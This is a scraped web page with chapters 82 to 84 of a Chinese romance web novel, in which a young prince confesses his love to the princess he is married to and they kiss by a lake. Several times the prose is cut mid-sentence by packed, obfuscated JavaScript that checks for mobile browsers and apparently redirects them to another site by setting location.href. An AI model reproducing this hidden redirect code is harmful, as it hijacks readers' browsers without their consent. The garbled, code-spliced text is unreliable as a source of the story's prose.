RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393892|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的窗下端端正正地摆了一坛子清水。最惹眼的,是床榻四角系上的细细红绳。 “你这是在……?”封眠满腹疑惑。 百里浔舟正抬手将最后一根红绳在床柱上系紧,闻言回首,看见封眠的瞬间,眼眸倏然一亮,“你回来了。” 声音里带着不易察觉的轻快。 他系好红绳,轻轻拍了拍手,走到她身侧,带着几分期待低声问:“怎么样?” “什么怎么样?”封眠愈发困惑。 只见他长臂一展,示意她看向屋内崭新的格局,“有没有觉得屋里面的风水变好了?” 他目光灼灼地瞧着封眠,心下未尽之语却是想问她有没有觉得他有何不同?可有觉得与他更亲近了些?可有感觉到缘分被加深后与他之间不同寻常的吸引力? 他什么时候开始在意风水了?九哥今日究竟带他去了什么古怪地方? 封眠犹疑地瞧着他,将心底的疑问直接问出口。 百里浔舟开始眼神游移,避而不答地扭过头去,“只是突然觉得换一换陈设,有新鲜感。” 封眠偏要追着探身去看他,将自己塞进他的视野里,“真的吗?可以前你从没在意过啊,九哥到底带你去哪儿了?” 百里浔舟抿紧了唇,侧过身去,不肯透露半分。 古怪。封眠眯起眼盯着他僵硬的身形,目光落回那床柱上轻轻晃动的红绳。 红绳,换什么风水需要系红绳? 喔,月老祠里许愿,都是系这样的红绳。封眠心下恍然,又觉得有几分好笑。看来小叔叔的主意好像是有些奏效,百里浔舟都开始“病急乱投医”了。 想到封辞偃今日的叮嘱,她悄悄瞟了百里浔舟几眼,酝酿着语气,故作随意地开口:“今日我与……煦之一起去城外接阿雪了。” 她将“煦之”二字吐得极轻,却像一颗小石子投入静湖,被百里浔舟敏锐地捕捉。他猛地扭过头,语气紧绷,“煦之是谁?” “是顾大人的字。”封眠装作随意的样子,在桌前坐下,“取《礼记》中‘煦妪覆育万物’之意,温煦仁厚,和他的名字还蛮相配的,是不是?” 百里浔舟只觉兜头被泼了一桶的醋,酸涩之气打心底直往上冒。才一日而已,怎就称呼上表字了? “与他这个人也很是相配啊。”封眠仿若未觉,继续添柴,“生就一副暖如阳春的模样。” 警铃大作,百里浔舟脱口而出:“你觉得他生得很好看?” “小叔叔也这般觉得呀。”封眠眨眨眼,语气无辜,“他不止一次与我称赞过顾大人风姿清雅。” 一个没注意,封眠又忘记了称呼顾春温的表字,好在百里浔舟已被铺天盖地的醋淹没了,没听出她的一时疏忽。 百里浔舟喉头一哽,那句“那我呢?我生得不好看吗?母亲也常赞我俊朗”在唇齿间滚了几滚,终究没好意思问出口。 他抿了抿唇,只闷声道:“我亦有表字。” “是吗?”封眠讶然回眸,“你从未与我提过。” 百里浔舟愈发心梗了,今年的生辰他是在战场上囫囵过去的,冠礼也未及操办,父亲只在军帐中为他取了字。 而那时他对封眠还尚未有什么心思,彼此生疏地互称“世子”“郡主”便已足够,他哪里会巴巴地跑去与她说自己的表字? 82. 第 82 章 “父亲为我取字‘聿澄’,”百里浔舟取来纸笔,在宣纸上挥毫写就“聿澄”二字,笔锋锐利。 他语气郑重了些,“父亲说,愿我心境澄明,行事依法守律,如笔锋所至,清正不阿。” “只是平日里父亲母亲仍是唤我的小字,知晓我表字的人,其实并不多。”他偏头看向封眠,见她正专注地端详着他落于纸上的字迹,长睫轻眨着,在眼下投落一片小小的阴影,似蝶翼,又像落花。 “那为何你的小字是‘阿琢’?”封眠抬眼,一副纯然好奇的模样。 “玉不琢,不成器。”他低声答,眼底映着烛光,也映着她的身影,“父亲望我如璞玉,历经磨砺而不改志。” “嗯……”封眠双手托腮,无意识地轻轻呢喃,“阿琢……确实是一个好名字。” 听见自己的乳名从封眠的口中念出来,百里浔舟感觉心口仿佛被什么东西轻轻撞了一下,随即泛起一片空茫的酥麻。 他看见她撩起眼皮望过来,眸光温软,唇角含笑,带着一点亲昵的询问:“阿琢,我可以这样叫你吗?” 声音像羽毛一样轻轻搔过百里浔舟的心尖,他也跟着弯了弯眼,无声地点了点头。他脑中飞快地思索着,这是一个绝佳的拉近关系的好机会,一个专属的、亲昵的称呼,就像一条无形的线,能悄然将两颗心牵得更近。 有太多人知道她的乳名了,他想要一个独一无二的…… 他心头微热,带着几分试探与期待,轻声开口:“那我以后,可否唤你‘眠眠’?” 封眠有些意外地扬了扬眉,旋即笑弯了一双翦水瞳,“好啊。” 占卜真的有用!百里浔舟感觉自己轻飘飘地快要飞起来了,但接着就听封眠说道:“虽说你我日后总是要和离的,但仍能做很好的朋友嘛。” 咚一下,将百里浔舟又砸回了地面,他算是知道何为自食其果了。 翌日一早,百里浔舟主动去郡主府找褚景淇,路漫漫兮,他需要同盟相助。 甫一踏进褚景淇居住的客院,他便被眼前景象惊得脚步一顿。 清早的阳光并不炽热,明晃晃地落下来,褚景淇正大喇喇地躺在一张竹制摇椅上,脸上赫然敷着一层惨绿的泥状物,只露出眼睛、鼻孔和嘴巴,即便在青天白日里撞见,也显得分外诡异。 “你……”百里浔舟嘴角微抽,“你这是打算投身巫卜去跳傩戏,还是打算扮山魈吓人?” 褚景淇闻声,懒洋洋地掀开眼皮,因脸上糊着东西,口齿有些含糊:“啧,小百里,你懂什么?我这是在‘听卜辞,努大力’!” “你且说说,你将自己涂成这幅样子,是在怒什么力?” 褚景淇指了指自己脸上的绿泥,“这是我专门请人调配的养颜秘方,努力保养自我的容颜!你当女子就不挑剔男子颜色了吗?弥荼圣女那般人物,我若是个糙汉,如何配得上?” 百里浔舟皱眉,“歪理邪说。男子汉大丈夫,重在担当作为,岂在意皮相老嫩?”话虽如此,他脑中却不自觉地闪过顾春温那张温润清雅的脸,还有封眠与他夸赞顾春温“生就一副暖如阳春的模样。” 褚景淇仿佛看穿他的心思,嘿嘿一笑,瓮声瓮气地道:“哦?那你说说,那位顾大人生得俏不俏?傅公子俊不俊?小陆大人嫩不嫩?天底下身负才气又皮囊优越的男子多了,若只有你不注重保养,小小年纪就脸垮成一把年纪,与他们站在一处,谁会更得青睐?” 百里浔舟:“……” “我比他们年纪都小,定然老得也更慢些!”他驳斥完才觉得有些丢脸,懊恼地闭紧了嘴。 “光靠年纪小可不行,得养护!你还能年轻几年呐!”褚景淇来了劲,猛地从摇椅上坐起,捧起手边一个白瓷罐子凑近百里浔舟,“来来来,我这儿还有一罐上好的绿豆珍珠粉,清热润肤,效果极佳!看在你是我妹夫的份上,我与你有福同享!” “不必!拿开!”百里浔舟一脸抗拒,连连后退,一副宁死不从的模样。 客院外,墨松领着封眠穿花拂柳而过。 “小侯爷昨日还念着郡主呢,见到郡主,铁定高兴!” “那你一会儿莫要通传,且让我吓他一吓。” 行到院门边,两人默契地闭上了嘴,一言不发,轻手轻脚地进了院子,然后便看见院子里齐刷刷躺在摇椅上、脸上都敷着厚厚绿泥的两人,一时愣住,险些以为自己走错了地方。 百里浔舟紧闭着眼,身体僵硬地躺在椅上,一旁褚景淇闭目摇着扇子,颇为熟稔地指导他,“就这样躺着,一盏茶的功夫就好了。怎么样,是不是觉得脸上凉凉的,润润的?” 百里浔舟生怕崩裂了面上涂的粉,小幅度地张嘴:“别跟我说话。” 封眠捂住嘴唇,踮着脚尖,蹑手蹑脚地走到百里浔舟身侧,弯下腰,仔细端详着百里浔舟那张写满了“不情愿”却又乖乖躺平的绿脸,他脸上那层绿膜抹得并不均匀,额角还沾了一点未抹开的粉末。 封眠伸出手,两根莹白如玉的指尖轻轻抹上他额角的粉末。百里浔舟轻蹙眉峰,将脑袋往一旁侧了侧,躲开她的手,不耐烦地开口:“褚景淇,你别摸我。” 褚景淇一脸莫名其妙:“我什么时候摸你了?” 那方才的人是谁? 百里浔舟猝然睁开眼,便对上封眠近在咫尺,满是笑意的双眸,惊得险些从躺椅上摔下去,幸而他功夫练得好,下盘稳,腰腹一用力,便错身站了起来。 “眠眠,你怎么……你什么时候来的?” 眠眠?谁啊? 褚景淇睁开一只眼,想笑又怕脸上已经有些干硬的绿膜崩开,只抬手招了招,“小表妹,你何时来的?怎么不让人与我说一声!” 封眠也冲他招了招手,笑盈盈道:“刚到,这不是想给你一个惊喜嘛。你们这是在……?” “做美容嘛,我母亲常做的……” “咳,我见着有趣,便试了一试。”百里浔舟直挺挺地杵在原地,强装出一副镇定自若的模样,幸而面上糊着一层绿泥,也瞧不出他脸上烧起的红晕。 “你面上都没涂匀。”封眠忽然上前一步,再次伸出两根手指去抹匀额角的粉末。 微凉的指尖触上百里浔舟温热的额角,动作轻得像羽毛拂过。 百里浔舟抬手握住她的手腕,微微凸起的腕骨硌在他的掌心。 “把你的手都弄脏了。”百里浔舟看一眼封眠指尖沾染的绿泥,从怀中掏出一张手帕,珍而重之地替她擦起手指来。 躺在他手心的指掌纤细洁白,仿佛一尊冷玉雕就,让他的动作不自觉地便放得愈发轻柔。 封眠看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400992|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手帕眼熟:“这手帕……是不是我的?” 百里浔舟:“……是啊,我洗净之后忘记还给你了。” 他瞧瞧手上已然沾上了绿泥的手帕,淡定地讲手帕卷好收起来,“又脏了,我洗净再给你。” 封眠垂眸,眼底含着笑意。 “一条手帕而已,小表妹你就送予他算了!”被忽视的褚景淇一个鲤鱼打挺从躺椅上翻身起来,顶着一脸将干未干的绿泥,走到院子一角的水盆前净面。 方才见百里浔舟擦的那么顺手,他都不好意思与他们说院中有水了。 褚景淇胡乱摸了几把脸,忽然想起什么,抬起脑袋,眯着眼睛往院门口瞧了瞧。 “稀奇呀!”他甩着手上的水珠,故作惊讶地扬声说道,“今日太阳是打西边出来了?那位傅公子怎么没像个牛皮糖似的跟在你屁股后头了?” 他一面说着,一面拼命朝坐在一旁的百里浔舟使眼色,眉毛都快飞起来了,那意思再明显不过:快!趁此良机,赶紧表达一下你身为人夫的不满!宣示主权啊! 然后就见百里浔舟那个“没出息”的弯起嘴角冲封眠露出一个笑来,眼神软得像化开的春水,“你今日是不忙了吗?” 会是特意甩下小叔叔来找他的吗? 封眠背过手去,目光在他和褚景淇之间转了转,笑道:“我来找九哥。” 她说着看向褚景淇,“九哥你什么时候要给弥荼写信的话,帮我催一催我要的种子。” 褚景淇正在费劲巴拉地清理脸上的绿泥,闻言头冒问号:“你为何不自己与她说?” “那就太正式了,难免给她一些咄咄逼人的压力,自然还是你来比较好。好了,我没事了,这便走了,顾大人他们还等着我呢。” 封眠说罢,脚步轻快地转身离开。 其实只传一句话,她是没必要亲自来的,可听说百里浔舟跑来找褚景淇,她担心褚景淇又诓他做什么奇怪的事,才特意亲自跑了一趟,现下可以放心地走了。 百里浔舟失落地垂首。 眼瞅着封眠的身影消失在院门外,褚景淇简直痛心疾首。他几步窜到百里浔舟面前,叉着腰,一副恨铁不成钢的模样:“小百里!你能不能拿出一点身为‘正宫’的气势来?!” 百里浔舟被他一嗓子吼得头疼,揉了揉额角,然后便沾了满手绿泥,无语地转身去净面,并打断他即将长篇大论展开的“傅辞偃威胁论”。 “别嚷了……”搞错对象了啊九哥。 百里浔舟不得不将自己与封眠目前的表面夫妻关系讲与褚景淇听,连带着最初他几次三番提及和离的事都和盘托出。 褚景淇惊得差点跳起来,像是听到了什么天方夜谭,打了个磕巴问:“那你现在是想怎么办?” 百里浔舟用沾水的巾帕擦净了面上的绿泥,露出白净漂亮的一张脸来,眉宇锐利飞扬,“自然是先寻个合适的时机,清楚楚地告诉她我的心意。至于她接受与否,暂且也不重要。眼下最要紧的,是不能让她再觉得我仍想与她和离。” “否则不管我做什么,她怕是都不会想歪。” 褚景淇听罢,长长地“唉”了一声,抬手重重拍了拍百里浔舟的肩膀,语气里充满了同情和一丝幸灾乐祸:“搞了半天,都是你自己挖的坑,现在得一铲子一铲子往回填喽!” 83. 第 83 章 云中郡城南,一座空荡的馆舍内,工匠们正往来忙碌着。 “你怎么突然想起要建书馆?”封辞偃与封眠站在屋檐下,看着馆舍内逐渐搭出雏形的一层层书架。 “也不算是突然想起吧,其实初来几日我便发现了,北地从军投戎的孩子,远多于读书科举。” “北地苦寒,文风向来不及江南鼎盛。自古以来,便有南北文人相轻。况且北地动乱频仍,刀枪剑戟拿在手上,许才是他们感到安心的关键。你指望几处书馆,便能让北地的孩子们多去科举吗?” “读书是为了明理,不止是为了科举啊。便是大将军也多要学些兵法,哪有那么多用兵如神的天纵奇才?我多设几处书馆,让北地的孩子有书可读,有师可从,日后无论从文从武,脚下根基总是稳的。” 封眠负手看向封辞偃,狡黠地勾勾唇角:“你与父亲行军作战时,读军报也需会识字呀。” 封辞偃失笑,颔首道:“受教了,郡主殿下。是我狭隘了。” 正说着,槐花抱着几册账本匆匆从外头走进来,额上沁着细汗。她将账本递给雾柳,又跟封眠汇报了一番作坊近况,准备告辞时,羡慕的目光终于不再掩饰地溜到了初具规模的书馆上。 “这么大的房子,以后都要拿来装书吗?” “是啊。” “真好啊,这么多书!”她有些失落遗憾地低下头,“我如今学字用的书,还是柳姑娘送我的那一本呢。” 封眠抬起手,指尖在她发间很轻地拍了一记,“还想读更多的书吗?” “想!当然想!”槐花脱口而出,眼睛亮晶晶的。 “女子书馆也在建,只是不在此处罢了。”封眠微微弯了弯眼,“我听说京中有好几位的闺塾师,才学斐然,专教闺阁女子读书,我已经请人帮忙去问问她们是否愿意来云中郡坐馆。到时书馆中不仅可以读书,凯能开设许多课程。” 槐花愣住了,简直不敢相信自己的耳朵:“女子……女子也能正大光明地坐进学堂读书吗?”她声音微颤,“我从前偷趴在学堂窗外学几个字,被夫子发现,还狠狠训斥了一顿,说女子读书不如学刺绣做饭,相夫教子……” 封眠摇摇头:“那你遇着的这位夫子定是个读坏了脑子的迂腐之人。我自幼便是舅舅亲手启蒙,他从未说过什么女子不可以读书之类的话,难道这些人还能压得过陛下去吗?” 槐花望着封眠清亮的眼眸,胸中一股热气涌上,重重地点了点头,“郡主说得对呢!” 后头的流萤也没忍住,探头出来道:“郡主去念书时,我们也是要陪读的,哪里就不能读书啦?你回去可要与大家说,日后书馆开了,都要来捧场。” “嗯!”槐花郑重应了一声,兴冲冲地告辞去了,脚步都轻快了许多。 封辞偃想,虽然他很讨厌嘉裕帝,但不得不说,他似乎挺会带孩子的。 封眠没再待在馆舍内影响工人们劳作,转身带着众人离开。 刚出馆舍的大门,便瞧见外头有好些百姓探头探脑地瞧她。 她停下脚步,大大方方地看过去,“诸位可是有事要与我说?” 几名百姓对望一眼,齐齐走近了些,一位老者搓着手,期期艾艾地问:“郡主……您和世子殿下,近来可还安好?是不是……是不是闹什么不愉快了?” 封眠没想到他们是要与自己说这个,一时愣了片刻,没来得及说话。面前的百姓顿时以为自己猜对了,顿时面露担忧之色。 “你们那位世子殿下什么脾性,你们还不了解吗?”封辞偃看热闹不怕事大,抱臂凉凉开口。 哎哟,果然还是世子殿下的错! 一名慈祥妇人忙替百里浔舟说好话:“世子殿下就是面冷,心是极好的!郡主你们有什么误会,可千万要坐下来好好说,小夫妻哪有不吵嘴的?” 封眠哭笑不得,正要解释,便见一个梳着双丫髻的小姑娘挤到前面,仰着脸怯生生地问:“郡主殿下,您会一直留在我们北疆吗?就算……就算以后不和世子殿下在一起了,也会留下吗?” 小姑娘一双眼睛紧张地瞪得溜圆,封眠瞧得有趣,俯身笑问:“若是我不留下呢?” 小姑娘一听这话便有些急了,舌头都快转不过弯来,慌里慌张地组织语言:“那去哪儿呢?要记得……得……能不能带上我们呀?” 几个半大的孩子自小姑娘身后探头出来,眼巴巴地望着封眠。 封眠心下好笑,又感到很温暖,柔声道:“放心,我会留下的。” 众人仿佛齐齐松了口气,才有人想起来找补道:“哎呀都说什么丧气话呢,郡主和世子殿下定然会和和美美的。不过当然啦,我们自然都是支持郡主殿下的!” “正是,郡主您便是与世子吵架了也不怕,咱们都护着您!” “好好好,那我先多谢各位了,多谢。”封眠忍笑回复着百姓们的好意,一个个将他们送走了。 封辞偃在一旁瞧着,悠悠笑道:“瞧见没?民心所向,大家可都不站在百里小子那边。” “你就挑刺吧。”封眠瞥他一眼,“若没有世子与王爷守疆卫土,让北疆得以安宁,我哪来的余地做这许多事?” “好好好,我不说他了。”封辞偃无奈摇头,“对了,待会你随我……” 他话音未落,便见一道身影自街角处狂奔而来,一手压着翻飞的官袍,焦急又狼狈,正是陆鸣竹。 “陆大人!”封眠扬声唤住他,“何事如此匆忙?” 陆鸣竹闻声刹住脚步,一见是封眠,顿时长长舒了口气,撑着膝盖喘气道:“殿、殿下!太好了,您还在这儿……” 他缓了口气,苦着脸解释:“今日出门,马车刚行出几步,车轮竟突然脱落,幸而刚走不远,立即寻人来修车,结果拉车的马匹又不知吃坏了什么,当街腹泻不止……下官生怕误了郡主所邀的时辰,只得徒步赶来了。” 封眠听得一头雾水,误了她所邀的时辰?她今日并未邀约任何人啊? 她下意识地看向身旁的封辞偃,却见小叔叔唇角噙着一抹高深莫测的笑意,“喔,是我以你的名义下的帖子。” 封眠心觉不妙,凑近两步,低声问道:“你要干什么?” “先前那些只是隔靴搔痒,不痛不痒的,依我看,是时候下一剂猛药了。” 不详的预感笼罩住封眠。 另一边的庄园内,成立虚抱臂看着来接自己一同赴宴的顾春温,欲言又止。 面前的顾春温长身玉立,并未穿官服,而是换了一身雨过天晴色的杭绸直裰,腰间束着玄色宫绦,坠着一枚品相极佳的羊脂白玉佩。发髻以泛着温润光泽的竹节白玉簪束起,站在那里就是一幅活的水墨画,端的是清雅无双。 虽是低调含蓄,并不张扬,但还是让成立虚看出了一股“孔雀开屏”的意味。 顾春温:“你还要站在这里看我多久?” 成立虚止言又欲:“……你穿成这样,你……” 他凑近些,压低声音:“你司马昭之心!” 顾春温瞥他一眼,倒不意外被他看出了点什么,浑不在意道:“那又如何了?我都不怕,你担心什么?” 成立虚左右瞧瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410094|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唯恐隔墙有耳,赶紧拉着人上了马车,小声道:“你别闹,难道你还真要给郡主做个面首不成?” 顾春温挑眉,故意做出一副考量的神色,便见成立虚瞳孔都震了起来,才慢悠悠道:“谁说一定要做面首了?” “我就知道顾兄不是那等拎不清的……” “做个入幕之宾也不错。” 马车碾过凸起的石块,成立虚身子一晃从座椅上摔落,磕得龇牙咧嘴,“你连名分都不要……不对,这不是重点,你年纪轻轻,前途大好,非要摘一朵旁人院子里的桃花做什么?” “更何况,人家还没把枝条探到你面前硬要你摘!” 顾春温以手支颐,向外望去,将成立虚的话当做耳旁风。成立虚说得确实不错,不过他今日也不是冲着摘花去的。封辞偃这些日子搞的小手段,他都看在眼里,能给百里浔舟找点不痛快,他自然乐意帮忙添一把柴。 他都有些迫不及待想要瞧一瞧今晚百里浔舟的脸色了。 暮色渐浓,云中郡一处临湖水榭旁,褚景淇正忙得脚不沾地。 “这边!花盆再往左挪一点!”他指挥着侍从将一盆盆初绽的晚香玉摆好,又回头检查悬挂在檐下的八角绢纱花鸟灯是否都已点亮,继续指挥着侍从们干活,“还有这纱幔,太厚了,拆掉两层,要做出一种朦胧的效果!” 百里浔舟站在亭子里,看着眼前这越来越浮夸的布景,眉头微蹙:“小侯爷……” 褚景淇受伤地看他,百里浔舟改口:“九哥,这是不是太过了一些?” 他原本只想寻个安静雅致的地方,与封眠好好说几句话。 “哎呀小百里,你这就不懂了!”褚景淇凑过来,握住他的手,一副过来人的神色,“氛围是最重要的!到时候灯影摇曳,花香浮动,水波粼粼,你再深情款款地望着她……保管事半功倍!” 百里浔舟犹疑片刻,选择还是相信褚景淇的安排好了,身为九哥,他定然是更了解封眠喜好的。 这时,也不知哪里来的四五个百姓结着队路过,窃窃私语顺着晚风隐约飘了过来。 “……听说了吗?郡主今日在郡主府设宴,说是要选面首呢!” “真的假的?” “我可是看见顾大人盛装去了!” “何止呢!听说还有好些个青年才俊。都是当初跟着郡主仪仗从京城来的,那可都是陛下为郡主精心挑选的……” 百里浔舟的耳朵瞬间捕捉到“选面首”三个字,心头一空。 褚景淇也听见了几人的谈话,先是愕然,随即没忍住笑了出来,拍腿道:“你别说,这还真像我那位皇伯伯能干出来的事儿!他对小表妹可是……” 他话未说完,只见百里浔舟已一阵风似的卷了出去。 郡主府花厅内,丝竹轻响,茶香袅袅。 封眠端坐主位,看着下首几位确实堪称“才俊”的年轻人,以及神色自若、仿佛真是来赴宴的顾春温,和略显局促的陆鸣竹,心中那点因欺骗而来的愧疚感越来越浓。 她只坐了片刻,便再也无法安心,倏然起身。 下首顾春温投来略有些惊讶的一瞥。 一旁的封辞偃懒洋洋地侧首,挑眉:“戏才刚开场,你这是要去哪儿?” 封眠脚步微顿,轻声道:“他一定会来的。但我用这种方法试探他,不好。” 她望向厅外渐沉的夜色,眼中露出一丝懊悔:“若换做是我,易地而处,定然会难受得心口发疼。将心比心,我不该让他受这种煎熬。” 话音方落,她便提起裙摆,快步向外走去。 84. 第 84 章 街巷之上灯烛如星,青灰砖瓦间飘起晚膳的炊烟,行人或赶着归家用饭,或寻一小店饭摊点膳,没生意的铺子前,店小二蹲在门边石墩子上吸着汤饼,无聊地张望着来往的路人。 一辆挂着“封”字牌的马车急急地拐了进来,行至长街另一头,又向右侧拐去。这是郡主赶着回王府用晚膳呢? 就在马车行在转弯处时,百里浔舟策马自左侧疾驰而来,恰好擦着马车的尾巴过去。 店小二含着汤饼纳闷,世子爷这个点不回王府,是要上哪儿去呢? 马车内,封眠听到疾驰的马蹄声,莫名地掀开车帘一角向外望了一眼,恰好捕捉到百里浔舟如风般掠过的身影。 “停车!”她不及多想,脱口喊道。 马车不前不后的停在巷子拐角处,封眠不等流萤下车来扶,便已提着裙摆跳下了车辕,一阵金玉叮咚乱响之声,脑后步摇掉落在地也全然未觉。 她站在路口处眺望长街,灯火掩映着熙攘人群,其中并没有百里浔舟的身影。这时她方才惊觉,他既然骑着马,在她停车下车的这会子功夫里,应早就跑得不见踪迹了。 看方向,他定然是去郡主府的,现下上马车折返,应当还能追得上。 封眠正要转身上马车,就见一道骑在马上的身影绕过堆着货物的驴车,出现在她的视野中,迅速向她跑来。 方才与马车交错的瞬间,在一片嘈杂声中,百里浔舟敏锐捕捉到了封眠的声音,有些不敢置信地勒马急停,身形恰好被身后路过的赶货的驴车遮挡,只是他视野高一些,隔着堆叠的货物望见了封眠张望的身影。 她是在找他吗? 他脑中一瞬空白,下意识策马折返,在距封眠几步之外翻身下马,阔步奔至她身前,气息急促,眼睛亮晶晶地黏在封眠身上,带着急切和庆幸脱口而出:“你没去……!” 话音未落,他便敏锐地察觉到四周若有若无投来的视线,街边的商贩与路过的行人,都在偷偷打量着他们二人。 他立刻将未尽之语咽了回去,不由分说地拉起封眠的手,低声道:“此地不便说话,我带你去个地方!” 百里浔舟扶着封眠利落地翻身上马,自己随即跃上,将她稳稳护在胸前,一扯缰绳,骏马便朝着来时的方向飞奔而去。 夜风在耳边呼啸,灯烛的光在两侧模糊成一道亮影,颠簸中,封眠的后背几乎贴在百里浔舟的胸膛之上,能感受到他胸膛传来的急促心跳,与自己擂鼓般的心跳渐渐重合。 四下逐渐寂静,只余风声与虫鸣叠响,点点灯火逐渐出现在封眠眼前,映着波澜湖水,与星月交相辉映。 湖中水榭三面垂着薄透轻纱,被风卷起在夜色中飘扬,宛如一道轻扬的、可触摸的月色。 百里浔舟扶着封眠下马,紧张地牵住她的手,踏上通往水榭的廊桥。两侧晚香玉幽香浮动,在两人周身缠绕着不肯散去,夜风卷来潮湿的水汽,将一切都搅得更为浓稠靡丽。 他的指掌感受着她掌心的温度和柔软,耳边是一步一步轻敲在廊桥之上的足音,慢慢的,他激烈跳动的心也随之缓缓静了下来,紧张的感觉尽数化为了孤注一掷的勇气。 粼粼湖水漾起轻柔的水声,他于亭中站定,郑重地望向封眠,声音坚定而清晰:“眠眠,我不想与你和离。” 他眼中映着落有星月的潋滟湖水,月光透过雪白的薄纱,在他身上落下一层霜雪一般的朦胧光影,漂亮到锋锐得眉眼被纱影滤出几分柔美。 封眠几乎能预见他接下来要说的话,还未听入耳中,便已觉热气先腾地泛上了脸颊。 耳边滤去了风声、水声、虫鸣声,只闻得他略微有些发紧的清脆声音,如金玉之鸣,似磬音回旋:“我心悦于你,想与你做真正的夫妻,一生一世一双人。” 奇怪,方才明明没有饮酒,为何此刻却有了醺然的晕眩之感? 见封眠只是望着他不说话,百里浔舟心下忐忑,急急忙忙补充道:“我喜欢你是我的情意,你千万不要觉得负担。无论你心意如何,我都接受。只是……我不想你再误会我仍想与你和离,看不见我对你的心意。我希望你日后能认真地考虑我……” 他的话音戛然而止,身前的封眠忽然上前一步,踮起脚尖,一手勾住了他的脖颈向下轻轻一压,然后在他的唇上落下一个轻柔如羽的吻,打断了他所有冥思苦想的腹稿。 热气扑在他的颊侧,烘得他脑海中一片空白,耳边蓦地响起有如擂鼓一般的心跳声,思绪被抽离,五感在瞬间消失了四感,只有唇间的温热昭示着极强的存在感。 他手足无措地僵在原地,失去了所有的反应能力,只睁着眼,难以置信地看着近在咫尺的容颜,看着雪白的肌肤,渐渐染上早春盛开的桃花一般艳丽的粉。 仿佛过了许久,又仿佛只过了片刻瞬息,封眠松开手,抽身退开两步,脸颊绯红,带着盈盈笑意的眼眸垂下去,声音轻快地说起了不相干的话:“我饿了,我们回去吧。” 空气依然是静的,面前的人像是被点了穴一般呆立着,若不是晚风吹起他的袍角,就好似水榭中只有她一个人一般。 是她的答复还不够直接吗?贝齿轻轻咬了下淡绯的唇,封眠迟疑地张了张水润饱满的唇,思索着自己是不是应该再说点什么? 眼前忽地压下一道黑影,百里浔舟俯下腰身,自低矮处凑了上来,鼻尖几乎抵上封眠的,漆黑的瞳仁定定地凝在她脸上片刻,他能清晰地看见她微微颤动的长睫,视线沿着她挺俏白皙的鼻梁下移,看见柔嫩的唇瓣上一道浅浅的齿痕。 在他凑近的瞬间,她的唇便已闭上了,他的视线在其上流连,描摹出极好看的唇形。 两人呼吸相闻,好半晌,封眠也没有躲开,只是飞快地掀起眼帘,在他面上看了一眼,似是疑惑,又像是无声的催促。 百里浔舟便大胆地迎了上去,柔软的唇瓣贴住她的。 起初就只是单纯地贴碰着,方才唇上的温软一闪而过,他还没来得及好好的体味,现下感受着唇瓣柔软的、花朵一样的触感,酥酥麻麻的感觉逐渐流向四肢百骸。 心底燃起灼热的火。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415456|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴着他的唇轻轻厮磨,干燥的渐渐濡湿,微凉的渐渐滚烫,遥远的渐渐贴近,直至淹没彼此之间的所有空隙。 宽大的手掌覆在封眠的腰间,修长的五指几乎环握住她纤薄的腰身,滚烫的掌的温度透过夏日轻薄的衣衫,贴到腰侧的皮肤之上。指掌间粗粝的茧磨着娇嫩的皮肤,带起乱七八糟的痒和颤栗。 封眠像一片被雨打湿的叶子,微微颤动,怕痒的腰肢想要向后逃,却被更用力地揽抱着,贴向身前滚烫硬朗的身躯。 百里浔舟像太过喜欢人类的小狗,不得章法地表露着好感,濡热的薄唇将人的皮肤舔得湿漉漉,沾染上属于他的味道。 远处骤然炸起焰火,巨响惊得两人一抖,百里浔舟的动作顿了一瞬,封眠骤得喘息,便撇过头去不肯再给他亲,一面急促地呼吸着湖边潮湿微凉的空气,一面抬起软而无力的手掌去推他。 环抱的手臂拥得更紧,百里浔舟将头埋在她颈侧,黏糊糊地软声耍赖:“让我再抱一会儿。” 低哑的嗓音掺杂着淡淡的克制的欲,示弱的语气让封眠心头一软,任他将毛绒绒的脑袋在她颈侧轻蹭,高挺的鼻尖带着一点被晚风吹得冰凉的汗水贴在她热烫的脖颈,喉咙间微微泛起痒意,说不出拒绝的话来,只能闭上眼,缓一缓方才绵延生涩的吻带来的眩晕感。 天边炸响的彩焰将飞扬的薄纱染上了斑斓的色彩,错乱的光影划过相拥的人影,百里浔舟高束的马尾垂落,被风吹着,卷在两个人的身上,不分你我。 